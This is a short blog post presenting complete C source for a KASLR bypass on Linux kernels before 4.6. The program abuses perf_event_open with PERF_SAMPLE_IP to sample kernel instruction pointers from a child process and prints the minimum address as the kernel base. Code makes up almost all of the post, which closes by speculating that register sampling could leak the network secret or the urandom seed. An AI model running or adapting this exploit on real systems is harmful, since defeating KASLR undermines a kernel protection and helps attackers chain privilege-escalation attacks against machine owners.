rss home github email

Breaking KASLR with perf

Before Linux 4.6, the default value of /proc/sys/kernel/perf_event_paranoid was 1, and so any Linux process could sample kernel addresses with perf_event_open's PERF_SAMPLE_IP. So you can break KASLR by sampling the addresses and taking the mininum.

/* -*- compile-command: "gcc -Wall perf_rip_find.c -o perf_rip_find" -*- */
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/perf_event.h>
#include <linux/hw_breakpoint.h>
#include <asm/perf_regs.h>
#include <sys/utsname.h>
#include <signal.h>

#define PAGE_SIZE 4096
#define DATA_SIZE PAGE_SIZE
#define MMAP_SIZE (PAGE_SIZE + DATA_SIZE)
#define MASK 0xffffff

int perf_event_open(struct perf_event_attr *attr,
		    pid_t pid,
		    int cpu,
		    int group_fd,
		    unsigned long flags)
{
	return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags);
}


int main (int argc, char **argv)
{
	int return_code = 0;
	int read_fd = -1;
	int fd = -1;

	pid_t child = 0;
	switch ((child = fork())) {
	case -1:
		fprintf(stderr, "fork failed: %m\n");
		goto error;
	case 0:;
		struct utsname self = {0};
		while (1) uname(&self);
		goto cleanup;
	default:
		break;
		
	}
	if ((fd = perf_event_open(
		     & (struct perf_event_attr) {
			.type = PERF_TYPE_SOFTWARE,
			.config = PERF_COUNT_SW_TASK_CLOCK,
			.size = sizeof(struct perf_event_attr),
			.disabled = 1,
			.exclude_user = 1,
			.exclude_hv = 1,
			.sample_type = PERF_SAMPLE_IP,
			.sample_period = 10,
			.precise_ip = 1,
		     }, child, -1, -1, 0)) < 0) {
		fprintf(stderr, "perf_event_open failed!\n");
		goto error;
	}
	struct perf_event_mmap_page *meta_page = NULL;
	if ((meta_page =  mmap(NULL,
			       MMAP_SIZE,
			       PROT_READ | PROT_WRITE,
			       MAP_SHARED,
			       fd, 0)) == MAP_FAILED) {
		fprintf(stderr, "mmap failed: %m\n");
		goto error;
	}
	if (ioctl(fd, PERF_EVENT_IOC_ENABLE)) {
		fprintf(stderr, "ioctl failed: %m\n");
		goto error;
	}
	char *data_page = ((char *) meta_page) + PAGE_SIZE;

	size_t progress = 0;
	uint64_t last_head = 0;
	size_t num_samples = 0;
	uint64_t min = ~0;
	while (num_samples < 100) {
		/* is reading from the meta_page racy? no idea */
		while (meta_page->data_head == last_head);;
		last_head = meta_page->data_head;

		while (progress < last_head) {
			struct __attribute__((packed)) sample {
				struct perf_event_header header;
				uint64_t ip;
			} *here = (struct sample *) (data_page + progress % DATA_SIZE);
			switch (here->header.type) {
			case PERF_RECORD_SAMPLE:
				num_samples++;
				if (here->header.size < sizeof(*here)) {
					fprintf(stderr, "size too small.\n");
					goto error;
				}
				uint64_t prefix = here->ip & ~MASK;
				if (prefix < min) min = prefix;
				break;
			case PERF_RECORD_THROTTLE:
			case PERF_RECORD_UNTHROTTLE:
			case PERF_RECORD_LOST:
				break;
			default:
				fprintf(stderr,
                                        "unexpected event: %x\n",
                                        here->header.type);
				goto error;
			}
			progress += here->header.size;
		}
		/* tell the kernel we read it. */
		meta_page->data_tail = last_head;
	}
	fprintf(stderr, "%016lx\n", min);
	goto cleanup;
error:
	return_code =  1;
cleanup:
	if (child) kill(child, SIGKILL);
	if (read_fd > 0) close(read_fd);
	if (fd > 0) close(fd);
	return return_code;
	
}

You can also sample registers (PERF_SAMPLE_REGS_INTR) , which worries me, but I couldn't convince it to leak the network secret or the urandom seed. Probably possible, though. Good luck!